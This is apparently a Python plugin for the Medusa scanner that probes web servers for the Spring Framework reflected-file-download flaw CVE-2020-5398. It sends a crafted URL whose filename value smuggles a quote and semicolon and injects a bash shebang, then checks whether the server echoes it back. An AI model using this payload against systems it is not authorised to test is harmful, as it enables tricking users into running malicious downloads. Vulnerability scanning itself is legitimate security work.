#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib.parse
import requests
import ClassCongregation
from ClassCongregation import randoms
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-5398" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-1-18"  # 插件编辑时间
        self.info['disclosure']='2020-1-16'#漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "SpringReflectionFileDownloadVulnerability"  # 插件名称
        self.info['name'] ='Spring反射文件下载漏洞' #漏洞名称
        self.info['affects'] = "Spring"  # 漏洞组件
        self.info['desc_content'] = "攻击者可利用RFD漏洞，结合社工等方式，让用户下载一个恶意文件并执行，从而危害用户的终端安全。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['suggest'] = "尽快升级最新系统"  # 修复建议
        self.info['version'] = "Spring Framework 5.2.0 to 5.2.2，5.1.0 to 5.1.12，5.0.0 to 5.0.15"  # 这边填漏洞影响的版本
        self.info['details'] = Medusa  # 结果

def UrlProcessing(url):
    if url.startswith("http"):#判断是否有http头，如果没有就在下面加入
        res = urllib.parse.urlparse(url)
    else:
        res = urllib.parse.urlparse('http://%s' % url)
    return res.scheme, res.hostname, res.port

def medusa(Url,RandomAgent,UnixTimestamp):

    scheme, url, port = UrlProcessing(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        rads = randoms().result(20)
        payload="/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0A{}%27%20".format(rads)
        payload_url = scheme + "://" + url +":"+ str(port)+ payload
        headers = {
            'User-Agent': RandomAgent,
            'Accept': '*/*',
            'Accept-Encoding': 'gzip, deflate',
            'Accept-Language': 'en',
            'Connection': 'close',
            "Upgrade-Insecure-Requests": "1"
        }

        #s = requests.session()
        resp = requests.get(payload_url,headers=headers, timeout=6, verify=False,allow_redirects=False)
        con = resp.text
        code = resp.status_code
        if code==200 and con.find("#!/bin/bash")!=-1 and con.find(rads)!=-1:
            Medusa = "{} 存在Spring反射文件下载漏洞\r\n漏洞地址:\r\n{}\r\n返回内容:\r\n{}".format(url,payload_url,con)
            _t=VulnerabilityInfo(Medusa)
            ClassCongregation.VulnerabilityDetails(_t.info, url,UnixTimestamp).Write()  # 传入url和扫描到的数据
            ClassCongregation.WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ClassCongregation.ErrorHandling().Outlier(e, _)
        _l = ClassCongregation.ErrorLog().Write(url, _)  # 调用写入类传入URL和错误插件名

#medusa("http://192.168.0.145:8080","Mozilla/5.0(compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)")